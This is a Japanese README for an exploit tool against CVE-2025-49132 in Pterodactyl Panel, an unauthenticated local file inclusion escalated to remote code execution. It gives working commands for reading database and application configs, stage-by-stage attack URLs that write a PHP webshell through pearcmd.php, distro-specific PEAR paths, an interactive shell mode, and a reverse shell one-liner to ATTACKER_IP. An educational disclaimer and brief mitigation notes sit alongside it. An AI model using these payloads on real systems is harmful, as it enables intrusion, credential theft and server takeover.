
CVE For Pterodactyl(学習および教育用)
⚠️ 免責事項: このリポジトリは、CVE-2025-49132 を理解し文書化するためのセキュリティ研究の一環として、教育および研究目的のみで作成されています。脆弱性発見の功績はすべて元の研究者に帰属します。
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - Unauthenticated LFI to RCE Exploit
CVE-2025-49132 は、Pterodactyl パネルにおける未認証のローカルファイルインクルージョン (LFI) の脆弱性で、PHP の pearcmd.php を介してリモートコード実行 (RCE) に昇格させることが可能です。
この脆弱性は /locales/locale.json エンドポイントに存在し、locale および namespace パラメータを適切にサニタイズしていないため、攻撃者は任意の PHP 設定ファイルを読み取り、コード実行を達成できます。
| ステータス | バージョン |
|---|---|
| ❌ 影響あり | <= 1.11.10 |
| ✅ 修正済み | >= 1.11.11 |
pearcmd.php を使った LFI2RCE テクニックによるリモートコード実行# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip install requests
requests ライブラリcurl(RCE モード用)# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database
# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| ディストリビューション | パス |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
脆弱なエンドポイント /locales/locale.json は、locale と namespace パラメータを受け入れます:
GET /locales/locale.json?locale=../../config&namespace=database
これにより、配列を返す任意の PHP ファイルを読み取ることができ、Laravel の設定ファイルも含まれます。
このエクスプロイトは LFI を pearcmd.php と組み合わせて RCE を達成します:
ステージ 1: pearcmd.php の config-create コマンドを使用して PHP ウェブシェルを書き込む
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
ステージ 2: LFI 経由で書き込んだシェルをインクルードする
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale および namespace パラメータに適切な入力検証を実装するregister_argc_argv ディレクティブを制限するこのツールは、教育および許可されたセキュリティテストの目的のみで提供されます。
責任を持って倫理的に使用してください。
⭐ このリポジトリが役に立ったなら Star を付けてください!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| 引数 | 説明 |
|---|
-u, --url | ターゲット URL(必須) |
-p, --path | LFI 用のパストラバーサル、または RCE 用の PEAR パス |
-f, --file | 読み取る PHP ファイル(.php 拡張子なし) |
--read | LFI 読み取りモードを有効化 |
--rce | RCE モードを有効化 |
--cmd | 実行するコマンド(単一実行モード) |
--sdir | シェルを書き込むディレクトリ(デフォルト: /tmp) |
--sname | シェルのファイル名(デフォルト: shell) |